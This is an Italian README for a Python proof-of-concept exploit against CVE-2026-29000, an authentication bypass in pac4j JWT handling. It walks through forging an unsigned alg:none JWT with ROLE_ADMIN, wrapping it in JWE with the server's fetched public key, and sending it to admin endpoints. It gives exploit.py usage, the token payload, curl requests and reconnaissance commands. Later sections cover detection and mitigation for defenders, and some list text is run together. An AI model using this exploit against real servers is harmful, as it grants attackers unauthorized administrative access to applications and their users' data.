
Python POC, Exploit per CVE-2026-29000
Prova di concetto per CVE-2026-29000 - Una vulnerabilità critica di bypass dell'autenticazione nell'implementazione JWT di pac4j che consente agli aggressori di falsificare token admin senza una firma valida.
Questo strumento è fornito esclusivamente per scopi educativi e di test di sicurezza autorizzati. L'autore NON si assume alcuna responsabilità per qualsiasi uso improprio, danno o uso illegale di questo exploit.
Questa vulnerabilità sfrutta un difetto nel meccanismo di autenticazione JWT di pac4j in cui la libreria:
alg: "none" nell'header JWTUn aggressore può creare un JWT non firmato con claims arbitrari (come role: "ROLE_ADMIN"), crittografarlo in un contenitore JWE utilizzando la chiave pubblica del server e ottenere accesso non autorizzato alle funzionalità di amministrazione.
Affinché questo exploit abbia successo, il server di destinazione deve soddisfare TUTTE le seguenti condizioni:
Il server deve esporre le proprie chiavi pubbliche tramite uno di questi endpoint:
/.well-known/jwks.json (endpoint OAuth/OIDC standard)/api/auth/jwks (endpoint personalizzato)Perché: L'exploit recupera automaticamente la chiave pubblica del server per crittografare il token JWE falsificato.
Il server deve:
role nel payload JWTROLE_ADMIN)Ruoli Comuni:
ROLE_ADMIN - Accesso amministrativo completoROLE_USER - Accesso utente standardIl server deve:
L'applicazione deve utilizzare pac4j con:
"none" o convalida dell'algoritmo inadeguatarequests, jwcrypto# Clone the repository
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000
# Install dependencies
pip install -r requirements.txt
requests>=2.28.0
jwcrypto>=1.4.0
python3 exploit.py <TARGET_URL>
Esempio:
python3 exploit.py http://vulnerable-app.local:8080
Lo script farà:
role: "ROLE_ADMIN"python3 exploit.py http://vulnerable-app.local:8080 --username john
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR
Se l'endpoint JWKS non è accessibile pubblicamente, fornisci il JWK manualmente:
python3 exploit.py http://vulnerable-app.local:8080 \
--jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'
python3 exploit.py http://vulnerable-app.local:8080 \
--username hacker \
--role ROLE_ADMIN \
--jwk '{"keys":[{...}]}'
L'exploit produce un token JWE nel formato seguente:
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...
Utilizza il token nelle richieste HTTP per accedere agli endpoint protetti:
# Usando curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
http://vulnerable-app.local:8080/api/admin/dashboard
# Usando requests di Python
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
http://vulnerable-app.local:8080/api/users/list
header = {"alg": "none", "type": "JWT"}
payload = {
"sub": "admin", # Nome utente
"role": "ROLE_ADMIN", # Livello di privilegio
"iss": "principal-platform", # Emittente
"iat": 1234567890, # Emesso il
"exp": 1234571490 # Scadenza (1 ora)
}
Il JWT viene creato senza firma (alg: "none"), che normalmente è invalido ma accettato dai server vulnerabili.
L'exploit interroga:
/.well-known/jwks.json (endpoint OAuth/OIDC standard)/api/auth/jwks (endpoint personalizzato)Questo recupera la chiave pubblica RSA del server necessaria per la crittografia.
Il JWT non firmato viene crittografato utilizzando:
Questo crea un token JWE che il server può decrittografare ma non verificherà la firma interna.
Il token JWE viene incluso nell'header Authorization:
Authorization: Bearer <JWE_TOKEN>
Il server vulnerabile lo decrittografa ed estrae il JWT non firmato, fidandosi dei claims senza verificare la firma.
JWT non firmato (alg:none)
↓
Avvolge in JWE (con chiave pubblica del server)
↓
Il server riceve il token JWE
↓
Il server decrittografa il JWE
↓
Estrae il JWT interno non firmato
↓
❌ Il server NON verifica la firma
↓
✅ Accetta i claims come validi (role: ROLE_ADMIN)
↓
L'aggressore ha accesso admin!
Esposizione dell'Endpoint JWKS
/.well-known/jwks.json o /api/auth/jwks sono accessibili pubblicamenteLog di Convalida JWT
alg: "none"Revisione della Configurazione
# Ricognizione
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .
# Controllare se i token JWE sono accettati
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected
Applicare la Verifica della Firma
// ERRATO - Accetta token non firmati
JwtAuthenticator jwt = new JwtAuthenticator();
jwt.setAlgorithm(null); // ❌ Vulnerabile
// CORRETTO - Richiede firma valida
JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ Sicuro
Convalidare l'Algoritmo JWT
alg: "none"Disabilitare JWE se Non Necessario
Aggiornare pac4j
Aggiungere Livelli di Convalida dei Token
exp)iss)Limitare l'Accesso all'Endpoint JWKS
location /.well-known/jwks.json {
allow 10.0.0.0/8; # Solo reti interne
deny all;
}
Monitorare i Log di Autenticazione
alg: "none"Segmentazione della Rete
Audit di Sicurezza Regolari
@Configuration
public class SecurityConfig {
@Bean
public JwtAuthenticator jwtAuthenticator() {
JwtAuthenticator authenticator = new JwtAuthenticator();
// ❌ VULNERABILE: Nessuna verifica della firma
authenticator.setAlgorithmsAllowedForSigning(null);
authenticator.setJwtClaimsValidation(false);
return authenticator;
}
@Bean
public JWEEncrypter encrypter() {
// Accetta JWE ma non verifica il JWT interno
return new JWEEncrypter();
}
}
Questo exploit è fornito esclusivamente per scopi educativi e di test di sicurezza autorizzati.
L'accesso non autorizzato a sistemi informatici è illegale. Questo strumento dovrebbe essere utilizzato solo su:
Gli autori non sono responsabili per l'uso improprio o i danni causati da questo strumento.
Licenza MIT - Consultare il file LICENSE per i dettagli
Trovato un bug? Hai miglioramenti?
git checkout -b feature/improvement)git commit -m 'Add improvement')git push origin feature/improvement)Per problemi, domande o suggerimenti:
Ultimo Aggiornamento: Maggio 2026
Autore: Team di Ricerca sulla Sicurezza
Stato: PoC Educativo